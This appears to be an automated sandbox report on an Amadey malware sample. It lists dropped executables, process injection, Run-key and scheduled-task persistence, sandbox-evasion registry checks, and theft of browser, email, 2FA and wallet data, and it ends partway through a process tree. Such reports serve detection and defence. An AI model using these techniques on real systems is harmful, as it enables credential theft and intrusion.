amadey | f2d62d01260d9ec801ed7bb06aad37714d9b704c8a391619525fbe8bf991f0db

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1675742406-747946869-1029867430-1000\Control Panel\International\Geo\Nation	D0F1.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1675742406-747946869-1029867430-1000\Control Panel\International\Geo\Nation	E396.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1675742406-747946869-1029867430-1000\Control Panel\International\Geo\Nation	ED99.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1675742406-747946869-1029867430-1000\Control Panel\International\Geo\Nation	build2.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1675742406-747946869-1029867430-1000\Control Panel\International\Geo\Nation	build2.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1675742406-747946869-1029867430-1000\Control Panel\International\Geo\Nation	oldplayer.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1675742406-747946869-1029867430-1000\Control Panel\International\Geo\Nation	oneetx.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1675742406-747946869-1029867430-1000\Control Panel\International\Geo\Nation	build3.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1675742406-747946869-1029867430-1000\Control Panel\International\Geo\Nation	D7D9.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1675742406-747946869-1029867430-1000\Control Panel\International\Geo\Nation	E396.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1675742406-747946869-1029867430-1000\Control Panel\International\Geo\Nation	D7D9.exe

Executes dropped EXE 33 IoCs

pid	Process
1856	D0F1.exe
1208	D595.exe
5028	D7D9.exe
2276	D8E3.exe
4976	DA1D.exe
4420	oldplayer.exe
868	ss31.exe
956	XandETC.exe
4472	D7D9.exe
1540	build3.exe
920	oneetx.exe
4200	E1FE.exe
872	E396.exe
4940	oldplayer.exe
3060	E396.exe
5000	ED99.exe
4700	D7D9.exe
2956	F21E.exe
1080	oldplayer.exe
2736	E396.exe
2668	D7D9.exe
668	E396.exe
3032	build2.exe
1776	build2.exe
3972	build2.exe
2468	build2.exe
1452	oneetx.exe
1804	build3.exe
1540	build3.exe
4348	updater.exe
1660	AC57.exe
1452	oneetx.exe
3484	mstsca.exe

Loads dropped DLL 4 IoCs

pid	Process
2468	build2.exe
2468	build2.exe
3972	build2.exe
3972	build2.exe

Modifies file permissions 1 TTPs 1 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
5108	icacls.exe

Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081

UPX packed file 2 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/3936-713-0x00007FF613AA0000-0x00007FF614294000-memory.dmp	upx
behavioral1/memory/3936-719-0x00007FF613AA0000-0x00007FF614294000-memory.dmp	upx

Accesses 2FA software files, possible credential harvesting 2 TTPs
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081

Accesses Microsoft Outlook profiles 1 TTPs 6 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-1675742406-747946869-1029867430-1000\Software\Microsoft\Office\12.0\Outlook\Profiles\Outlook	dllhost.exe
Key opened	\REGISTRY\USER\S-1-5-21-1675742406-747946869-1029867430-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook	dllhost.exe
Key opened	\REGISTRY\USER\S-1-5-21-1675742406-747946869-1029867430-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook	dllhost.exe
Key opened	\REGISTRY\USER\S-1-5-21-1675742406-747946869-1029867430-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook	dllhost.exe
Key opened	\REGISTRY\USER\S-1-5-21-1675742406-747946869-1029867430-1000\Software\Microsoft\Office\10.0\Outlook\Profiles\Outlook	dllhost.exe
Key opened	\REGISTRY\USER\S-1-5-21-1675742406-747946869-1029867430-1000\Software\Microsoft\Office\11.0\Outlook\Profiles\Outlook	dllhost.exe

Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials in Files
T1081

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1675742406-747946869-1029867430-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SysHelper = "\"C:\\Users\\Admin\\AppData\\Local\\21424bc3-3e9a-465f-99a5-2ef4bb6d3551\\D7D9.exe\" --AutoStart"	D7D9.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012
Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102

Looks up external IP address via web service 5 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
44	api.2ip.ua
51	api.2ip.ua
53	api.2ip.ua
33	api.2ip.ua
34	api.2ip.ua

Drops file in System32 directory 3 IoCs

description	ioc	Process
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe

Suspicious use of SetThreadContext 8 IoCs

description	pid	Process	procid_target
PID 5028 set thread context of 4472	5028	D7D9.exe	98
PID 872 set thread context of 3060	872	E396.exe	112
PID 4700 set thread context of 2668	4700	D7D9.exe	122
PID 2736 set thread context of 668	2736	E396.exe	123
PID 1776 set thread context of 3972	1776	build2.exe	127
PID 3032 set thread context of 2468	3032	build2.exe	128
PID 4348 set thread context of 4476	4348	updater.exe	197
PID 4348 set thread context of 3936	4348	updater.exe	203

Drops file in Program Files directory 4 IoCs

description	ioc	Process
File created	C:\Program Files\Notepad\Chrome\updater.exe	XandETC.exe
File created	C:\Program Files\Google\Libs\WR64.sys	updater.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe

Launches sc.exe 10 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
912	sc.exe
736	sc.exe
4960	sc.exe
5012	sc.exe
1540	sc.exe
4356	sc.exe
1968	sc.exe
3776	sc.exe
3564	sc.exe
4456	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 6 IoCs

pid	pid_target	Process	procid_target
3416	4976	WerFault.exe	93
1776	2276	WerFault.exe	92
4624	1540	WerFault.exe	108
4108	5000	WerFault.exe	113
640	4200	WerFault.exe	101
4168	1660	WerFault.exe	161

Checks SCSI registry key(s) 3 TTPs 9 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	f2d62d01260d9ec801ed7bb06aad37714d9b704c8a391619525fbe8bf991f0db.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	D595.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	D595.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	D595.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	F21E.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	F21E.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	f2d62d01260d9ec801ed7bb06aad37714d9b704c8a391619525fbe8bf991f0db.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	f2d62d01260d9ec801ed7bb06aad37714d9b704c8a391619525fbe8bf991f0db.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	F21E.exe

Checks processor information in registry 2 TTPs 6 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	build2.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	build2.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	build2.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	build2.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	dllhost.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	dllhost.exe

Creates scheduled task(s) 1 TTPs 3 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

pid	Process
2916	schtasks.exe
3988	schtasks.exe
3132	schtasks.exe

Delays execution with timeout.exe 2 IoCs

evasion

pid	Process
1080	timeout.exe
3860	timeout.exe

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	conhost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\ROOT	conhost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	conhost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	conhost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	powershell.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
408	f2d62d01260d9ec801ed7bb06aad37714d9b704c8a391619525fbe8bf991f0db.exe
408	f2d62d01260d9ec801ed7bb06aad37714d9b704c8a391619525fbe8bf991f0db.exe
3120	Explorer.EXE
3120	Explorer.EXE
3120	Explorer.EXE
3120	Explorer.EXE
3120	Explorer.EXE
3120	Explorer.EXE
3120	Explorer.EXE
3120	Explorer.EXE
3120	Explorer.EXE
3120	Explorer.EXE
3120	Explorer.EXE
3120	Explorer.EXE
3120	Explorer.EXE
3120	Explorer.EXE
3120	Explorer.EXE
3120	Explorer.EXE
3120	Explorer.EXE
3120	Explorer.EXE
3120	Explorer.EXE
3120	Explorer.EXE
3120	Explorer.EXE
3120	Explorer.EXE
3120	Explorer.EXE
3120	Explorer.EXE
3120	Explorer.EXE
3120	Explorer.EXE
3120	Explorer.EXE
3120	Explorer.EXE
3120	Explorer.EXE
3120	Explorer.EXE
3120	Explorer.EXE
3120	Explorer.EXE
3120	Explorer.EXE
3120	Explorer.EXE
3120	Explorer.EXE
3120	Explorer.EXE
3120	Explorer.EXE
3120	Explorer.EXE
3120	Explorer.EXE
3120	Explorer.EXE
3120	Explorer.EXE
3120	Explorer.EXE
3120	Explorer.EXE
3120	Explorer.EXE
3120	Explorer.EXE
3120	Explorer.EXE
3120	Explorer.EXE
3120	Explorer.EXE
3120	Explorer.EXE
3120	Explorer.EXE
3120	Explorer.EXE
3120	Explorer.EXE
3120	Explorer.EXE
3120	Explorer.EXE
3120	Explorer.EXE
3120	Explorer.EXE
3120	Explorer.EXE
3120	Explorer.EXE
3120	Explorer.EXE
3120	Explorer.EXE
3120	Explorer.EXE
3120	Explorer.EXE

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
3120	Explorer.EXE

Suspicious behavior: LoadsDriver 1 IoCs

pid	Process
660	Process not Found

Suspicious behavior: MapViewOfSection 3 IoCs

pid	Process
408	f2d62d01260d9ec801ed7bb06aad37714d9b704c8a391619525fbe8bf991f0db.exe
1208	D595.exe
2956	F21E.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeShutdownPrivilege	3120	Explorer.EXE
Token: SeCreatePagefilePrivilege	3120	Explorer.EXE
Token: SeShutdownPrivilege	3120	Explorer.EXE
Token: SeCreatePagefilePrivilege	3120	Explorer.EXE
Token: SeShutdownPrivilege	3120	Explorer.EXE
Token: SeCreatePagefilePrivilege	3120	Explorer.EXE
Token: SeShutdownPrivilege	3120	Explorer.EXE
Token: SeCreatePagefilePrivilege	3120	Explorer.EXE
Token: SeShutdownPrivilege	3120	Explorer.EXE
Token: SeCreatePagefilePrivilege	3120	Explorer.EXE
Token: SeShutdownPrivilege	3120	Explorer.EXE
Token: SeCreatePagefilePrivilege	3120	Explorer.EXE
Token: SeShutdownPrivilege	3120	Explorer.EXE
Token: SeCreatePagefilePrivilege	3120	Explorer.EXE
Token: SeShutdownPrivilege	3120	Explorer.EXE
Token: SeCreatePagefilePrivilege	3120	Explorer.EXE
Token: SeShutdownPrivilege	3120	Explorer.EXE
Token: SeCreatePagefilePrivilege	3120	Explorer.EXE
Token: SeShutdownPrivilege	3120	Explorer.EXE
Token: SeCreatePagefilePrivilege	3120	Explorer.EXE
Token: SeShutdownPrivilege	3120	Explorer.EXE
Token: SeCreatePagefilePrivilege	3120	Explorer.EXE
Token: SeShutdownPrivilege	3120	Explorer.EXE
Token: SeCreatePagefilePrivilege	3120	Explorer.EXE
Token: SeShutdownPrivilege	3120	Explorer.EXE
Token: SeCreatePagefilePrivilege	3120	Explorer.EXE
Token: SeShutdownPrivilege	3120	Explorer.EXE
Token: SeCreatePagefilePrivilege	3120	Explorer.EXE
Token: SeDebugPrivilege	5084	powershell.exe
Token: SeDebugPrivilege	3200	powershell.exe
Token: SeShutdownPrivilege	1928	powercfg.exe
Token: SeCreatePagefilePrivilege	1928	powercfg.exe
Token: SeShutdownPrivilege	4008	powercfg.exe
Token: SeCreatePagefilePrivilege	4008	powercfg.exe
Token: SeShutdownPrivilege	1896	powercfg.exe
Token: SeCreatePagefilePrivilege	1896	powercfg.exe
Token: SeShutdownPrivilege	1532	powercfg.exe
Token: SeCreatePagefilePrivilege	1532	powercfg.exe
Token: SeIncreaseQuotaPrivilege	3200	powershell.exe
Token: SeSecurityPrivilege	3200	powershell.exe
Token: SeTakeOwnershipPrivilege	3200	powershell.exe
Token: SeLoadDriverPrivilege	3200	powershell.exe
Token: SeSystemProfilePrivilege	3200	powershell.exe
Token: SeSystemtimePrivilege	3200	powershell.exe
Token: SeProfSingleProcessPrivilege	3200	powershell.exe
Token: SeIncBasePriorityPrivilege	3200	powershell.exe
Token: SeCreatePagefilePrivilege	3200	powershell.exe
Token: SeBackupPrivilege	3200	powershell.exe
Token: SeRestorePrivilege	3200	powershell.exe
Token: SeShutdownPrivilege	3200	powershell.exe
Token: SeDebugPrivilege	3200	powershell.exe
Token: SeSystemEnvironmentPrivilege	3200	powershell.exe
Token: SeRemoteShutdownPrivilege	3200	powershell.exe
Token: SeUndockPrivilege	3200	powershell.exe
Token: SeManageVolumePrivilege	3200	powershell.exe
Token: 33	3200	powershell.exe
Token: 34	3200	powershell.exe
Token: 35	3200	powershell.exe
Token: 36	3200	powershell.exe
Token: SeIncreaseQuotaPrivilege	3200	powershell.exe
Token: SeSecurityPrivilege	3200	powershell.exe
Token: SeTakeOwnershipPrivilege	3200	powershell.exe
Token: SeLoadDriverPrivilege	3200	powershell.exe
Token: SeSystemProfilePrivilege	3200	powershell.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
4420	oldplayer.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3120 wrote to memory of 1856	3120	Explorer.EXE	89
PID 3120 wrote to memory of 1856	3120	Explorer.EXE	89
PID 3120 wrote to memory of 1856	3120	Explorer.EXE	89
PID 3120 wrote to memory of 1208	3120	Explorer.EXE	90
PID 3120 wrote to memory of 1208	3120	Explorer.EXE	90
PID 3120 wrote to memory of 1208	3120	Explorer.EXE	90
PID 3120 wrote to memory of 5028	3120	Explorer.EXE	91
PID 3120 wrote to memory of 5028	3120	Explorer.EXE	91
PID 3120 wrote to memory of 5028	3120	Explorer.EXE	91
PID 3120 wrote to memory of 2276	3120	Explorer.EXE	92
PID 3120 wrote to memory of 2276	3120	Explorer.EXE	92
PID 3120 wrote to memory of 2276	3120	Explorer.EXE	92
PID 3120 wrote to memory of 4976	3120	Explorer.EXE	93
PID 3120 wrote to memory of 4976	3120	Explorer.EXE	93
PID 3120 wrote to memory of 4976	3120	Explorer.EXE	93
PID 1856 wrote to memory of 4420	1856	D0F1.exe	94
PID 1856 wrote to memory of 4420	1856	D0F1.exe	94
PID 1856 wrote to memory of 4420	1856	D0F1.exe	94
PID 1856 wrote to memory of 868	1856	D0F1.exe	95
PID 1856 wrote to memory of 868	1856	D0F1.exe	95
PID 1856 wrote to memory of 956	1856	D0F1.exe	97
PID 1856 wrote to memory of 956	1856	D0F1.exe	97
PID 5028 wrote to memory of 4472	5028	D7D9.exe	98
PID 5028 wrote to memory of 4472	5028	D7D9.exe	98
PID 5028 wrote to memory of 4472	5028	D7D9.exe	98
PID 5028 wrote to memory of 4472	5028	D7D9.exe	98
PID 5028 wrote to memory of 4472	5028	D7D9.exe	98
PID 5028 wrote to memory of 4472	5028	D7D9.exe	98
PID 5028 wrote to memory of 4472	5028	D7D9.exe	98
PID 5028 wrote to memory of 4472	5028	D7D9.exe	98
PID 5028 wrote to memory of 4472	5028	D7D9.exe	98
PID 5028 wrote to memory of 4472	5028	D7D9.exe	98
PID 3120 wrote to memory of 1540	3120	Explorer.EXE	130
PID 3120 wrote to memory of 1540	3120	Explorer.EXE	130
PID 3120 wrote to memory of 1540	3120	Explorer.EXE	130
PID 4420 wrote to memory of 920	4420	oldplayer.exe	107
PID 4420 wrote to memory of 920	4420	oldplayer.exe	107
PID 4420 wrote to memory of 920	4420	oldplayer.exe	107
PID 3120 wrote to memory of 4200	3120	Explorer.EXE	101
PID 3120 wrote to memory of 4200	3120	Explorer.EXE	101
PID 3120 wrote to memory of 4200	3120	Explorer.EXE	101
PID 920 wrote to memory of 2916	920	oneetx.exe	102
PID 920 wrote to memory of 2916	920	oneetx.exe	102
PID 920 wrote to memory of 2916	920	oneetx.exe	102
PID 3120 wrote to memory of 872	3120	Explorer.EXE	103
PID 3120 wrote to memory of 872	3120	Explorer.EXE	103
PID 3120 wrote to memory of 872	3120	Explorer.EXE	103
PID 1540 wrote to memory of 4940	1540	build3.exe	109
PID 1540 wrote to memory of 4940	1540	build3.exe	109
PID 1540 wrote to memory of 4940	1540	build3.exe	109
PID 872 wrote to memory of 3060	872	E396.exe	112
PID 872 wrote to memory of 3060	872	E396.exe	112
PID 872 wrote to memory of 3060	872	E396.exe	112
PID 872 wrote to memory of 3060	872	E396.exe	112
PID 872 wrote to memory of 3060	872	E396.exe	112
PID 872 wrote to memory of 3060	872	E396.exe	112
PID 872 wrote to memory of 3060	872	E396.exe	112
PID 872 wrote to memory of 3060	872	E396.exe	112
PID 872 wrote to memory of 3060	872	E396.exe	112
PID 872 wrote to memory of 3060	872	E396.exe	112
PID 3120 wrote to memory of 5000	3120	Explorer.EXE	113
PID 3120 wrote to memory of 5000	3120	Explorer.EXE	113
PID 3120 wrote to memory of 5000	3120	Explorer.EXE	113
PID 4472 wrote to memory of 5108	4472	D7D9.exe	114

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

outlook_office_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-1675742406-747946869-1029867430-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook	dllhost.exe

outlook_win_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-1675742406-747946869-1029867430-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook	dllhost.exe

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3120
- C:\Users\Admin\AppData\Local\Temp\f2d62d01260d9ec801ed7bb06aad37714d9b704c8a391619525fbe8bf991f0db.exe
  "C:\Users\Admin\AppData\Local\Temp\f2d62d01260d9ec801ed7bb06aad37714d9b704c8a391619525fbe8bf991f0db.exe"
  2⤵
  - Checks SCSI registry key(s)
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: MapViewOfSection
  PID:408
- C:\Users\Admin\AppData\Local\Temp\D0F1.exe
  C:\Users\Admin\AppData\Local\Temp\D0F1.exe
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:1856
- - C:\Users\Admin\AppData\Local\Temp\oldplayer.exe
    "C:\Users\Admin\AppData\Local\Temp\oldplayer.exe"
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of WriteProcessMemory
    PID:4420
  - - C:\Users\Admin\AppData\Local\Temp\10180c8ca3\oneetx.exe
      "C:\Users\Admin\AppData\Local\Temp\10180c8ca3\oneetx.exe"
      4⤵
      Checks computer location settings
      Executes dropped EXE
      Suspicious use of WriteProcessMemory
      PID:920
- - C:\Users\Admin\AppData\Local\Temp\ss31.exe
    "C:\Users\Admin\AppData\Local\Temp\ss31.exe"
    3⤵
    - Executes dropped EXE
    PID:868
- - C:\Users\Admin\AppData\Local\Temp\XandETC.exe
    "C:\Users\Admin\AppData\Local\Temp\XandETC.exe"
    3⤵
    - Suspicious use of NtCreateUserProcessOtherParentProcess
    - Executes dropped EXE
    - Drops file in Program Files directory
    PID:956
- C:\Users\Admin\AppData\Local\Temp\D595.exe
  C:\Users\Admin\AppData\Local\Temp\D595.exe
  2⤵
  - Executes dropped EXE
  - Checks SCSI registry key(s)
  - Suspicious behavior: MapViewOfSection
  PID:1208
- C:\Users\Admin\AppData\Local\Temp\D7D9.exe
  C:\Users\Admin\AppData\Local\Temp\D7D9.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  - Suspicious use of WriteProcessMemory
  PID:5028
- - C:\Users\Admin\AppData\Local\Temp\D7D9.exe
    C:\Users\Admin\AppData\Local\Temp\D7D9.exe
    3⤵
